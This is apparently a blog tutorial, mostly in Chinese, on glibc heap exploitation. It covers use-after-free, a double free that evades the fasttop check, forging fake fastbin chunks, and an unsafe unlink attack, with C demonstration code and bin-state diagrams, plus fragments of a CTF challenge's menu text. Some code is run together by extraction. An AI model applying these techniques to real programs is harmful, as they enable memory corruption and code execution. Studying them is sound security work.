char *ch = malloc(20); // Some operations // .. // .. free(ch); // Some operations // .. // .. // Attacker can control 'ch' // This is vulnerable code // Freed variables should not be used again if (*ch=='a') { // do this }
voidintro() { puts("After you climb over the snow mountain, you encounter an evil summoner!\n"); puts("He summoned \"The Dark Lord\" Level 5! You have to get over his dead body to fight the Demon Dragon, but you can only summon Level 4 creatures!\n"); puts("What's your plan for now???\n"); }
voidmenu() { puts("Available plans:"); puts("\tshow - show your creature and its level"); puts("\tsummon [name] - summon a creature called [name]"); puts("\tlevel-up [level] - level up your creature (below Level 5)"); puts("\tstrike - STRIKE the evil summoner's creature!!!"); puts("\trelease - release your creature"); puts("\tquit - give up and die"); }
多次释放资源可能会导致内存泄漏,分配器(allocator)的数据结构被破坏,可被攻击者利用。为了避免glibc进行“double free or corruption(fasttop)”安全检查,将在两个释放之间释放另一个chunk。这意味着两个不同的’mallocs’将返回相同的块。两个指针都指向相同的内存地址。如果其中一个受攻击者的控制,他可以修改其他指针的内存,导致各种攻击(包括代码执行)
1 2 3 4 5 6 7 8 9 10 11
a = malloc(10); b = malloc(10); c = malloc(10);
free(a); free(b); // To bypass "double free or corruption (fasttop)" check free(a); // Double Free
d = malloc(10); e = malloc(10); f = malloc(10);
fast bin 的情况:
free(a): head -> a ->tail
free(b): head -> b -> a -> tail
free(a): head -> a -> b -> a -> tail
malloc(d): head -> b -> a -> tail; d -> a
malloc(e): head -> a -> tail; e -> b
malloc(f): head -> tail; f -> a
Forging chunks(伪造chunks)
释放一个chunk后,会将其插入到 bin list中。但是其指针仍然在程序中处于可用状态,如果攻击者控制了这个指针,就可以修改bin中的链表结构并插入他自己伪造的chunk。
// First grab a fast chunk a = malloc(10); // Create a forged chunk structforged_chunkchunk;// At address 0x7ffc6de96690 chunk.size = 0x20; // This size should fall in the same fastbin data = (char *)&chunk.fd; // Data starts here for an allocated chunk strcpy(data, "attacker's data"); // Put the fast chunk back into fastbin free(a); // Modify 'fd' pointer of 'a' to point to our forged chunk *((unsignedlonglong *)a) = (unsignedlonglong)&chunk; // Remove 'a' from HEAD of fastbin // Our forged chunk will now be at the HEAD of fastbin malloc(10); // Will return 0x219c010
victim = malloc(10); // Points to 0x7ffc6de966a0 printf("%s\n", victim); // Prints "attacker's data" !!
// First grab two chunks (non fast) chunk1 = malloc(0x80); chunk2 = malloc(0x80); printf("%p\n", &chunk1); printf("%p\n", chunk1); printf("%p\n", chunk2); // Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("%p\n", chunk1); printf("%x\n", chunk1[3]);
chunk1[3] = (unsignedlonglong)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return0; }
通过malloc得到两个大小为0x80的块确保他们在 small bin 范围内,然后假设攻击者以某种方式对chunk1内容进行无限制控制(比如strcpy用户输入)。两个块都将并排放在内存中,代码中 chunk_structure 使用自定义结构仅处于清晰的目的,在攻击情形中,攻击者只需要发送填写的字节。 在“data”部分创建了一个新的假chunk即 chunk1。在fd和bk指针被调整为通过“corrupted double-linked list”安全检查。攻击者的内容被溢出到chunk2的报头中设置适当prev_size和prev_in_use位。这确保了无论何时chunk2释放,fake_chunk将被检测为“释放”并且将是unlinked,此时各种内存区域状态如下:
You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.